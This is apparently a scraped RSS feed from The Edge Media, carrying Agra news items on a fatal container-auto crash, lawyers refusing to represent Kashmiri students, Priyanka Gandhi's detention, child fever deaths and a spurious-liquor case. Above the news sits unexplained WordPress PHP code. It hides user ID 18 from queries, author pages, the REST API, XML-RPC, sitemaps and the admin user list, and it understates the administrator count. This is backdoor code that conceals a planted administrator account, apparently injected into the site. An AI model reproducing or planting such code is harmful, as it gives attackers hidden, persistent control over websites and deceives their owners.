add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Container Hits Auto in Agra Killing Six Returning Pilgrims appeared first on The Edge Media.
]]>According to police reports the accident happened on Saturday morning near Nagla Chandan village on the Jalesar Road. The container struck the auto with such force that it was badly mangled. Passengers were thrown onto the road causing chaos at the scene.
The deceased have been identified as residents of Ghatwas village in Hathras district. Those who lost their lives include Chaudhary Udayveer Singh aged sixty two Vijay Singh Gautam aged forty Chaudhary Ranveer Singh aged seventy five Billa Mishra aged fifty five and Lakshmi Chand aged sixty. The auto driver Sarfaraz Khan a resident of Badaun also died in the accident.
Two other passengers including a retired police officer Vijay Singh and Dhan Prasad sustained serious injuries and were rushed to hospital for treatment. Doctors have described their condition as critical. In another auto that was hit while the container driver attempted to flee several people were injured including women and a child.
Eyewitnesses said the container first rammed into the pilgrims auto and then crashed into another auto nearby. Blood was scattered across the road and injured passengers were seen crying for help. Angry locals gathered at the spot and caught hold of the container driver beating him before handing him over to the police.
Police officials stated that a case has been registered against the container driver and further investigation is underway. Authorities have assured strict action and appealed to drivers to maintain speed limits to avoid such tragic incidents.
The post Container Hits Auto in Agra Killing Six Returning Pilgrims appeared first on The Edge Media.
]]>The post Lawyers in Agra refuse to represent Kashmiri students accused of sedition appeared first on The Edge Media.
]]>
“We will not provide any legal help to those who are involved in the anti-national activity or anti-social activity, Nitin Verma, President of the Young Lawyers’ Association, Agra, told PTI.
The post Lawyers in Agra refuse to represent Kashmiri students accused of sedition appeared first on The Edge Media.
]]>The post After being temporarily detained by UP police, Priyanka Gandhi was permitted to go to Agra appeared first on The Edge Media.
]]>
“They say I can’t go to Agra. They stop me wherever I go. Should I keep sitting in restaurants? Just because it is politically convenient for them? I want to meet them, what is the big deal?” Priyanka Gandhi questioned.
“The moment I try to visit any place other than the party office, then they (Administration) try to stop me. It is also causing inconvenience to the public,” she added.
The post After being temporarily detained by UP police, Priyanka Gandhi was permitted to go to Agra appeared first on The Edge Media.
]]>The post In Less Than a Week, 32 Children Died in a UP Town Near Agra as a Result of a Viral Fever appeared first on The Edge Media.
]]>According to the commissioner, some deaths have also been recorded in Mathura, which is part of the Agra division. Scrub typhus, a vector-borne disease similar to dengue, but caused by bacteria rather than viruses, was blamed for these deaths.
The post In Less Than a Week, 32 Children Died in a UP Town Near Agra as a Result of a Viral Fever appeared first on The Edge Media.
]]>The post Nine policeman suspended following the death of 10 people in Agra appeared first on The Edge Media.
]]>Police have confirmed that four people died after consuming spurious liquor and said investigation is on to ascertain the reason behind the death of six others.
“Nine police personnel, including three SHOs and six constables, have been suspended over the incident. We have also sent a recommendation for action against the guilty excise officers and the policemen to the government,” Additional Director General of Police, Agra, Rajeev Krishna said.
He said, “Reports from Forensic Science Laboratory confirmed the presence of methyl alcohol in four viscera samples sent for testing”.
Thus the four men died after consuming spurious liquor, he added.
Ten people died in Agra in the past four days after consuming spurious liquor, family members have said.
Four deaths were reported in Deoria Village and two deaths in Garhi Jahan village in the Shamsabad area of the district.
The three Station House Officers (SHOs) against whom the action was taken are from Taj Ganj, Shamsabad and Dauki areas, police said.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post Nine policeman suspended following the death of 10 people in Agra appeared first on The Edge Media.
]]>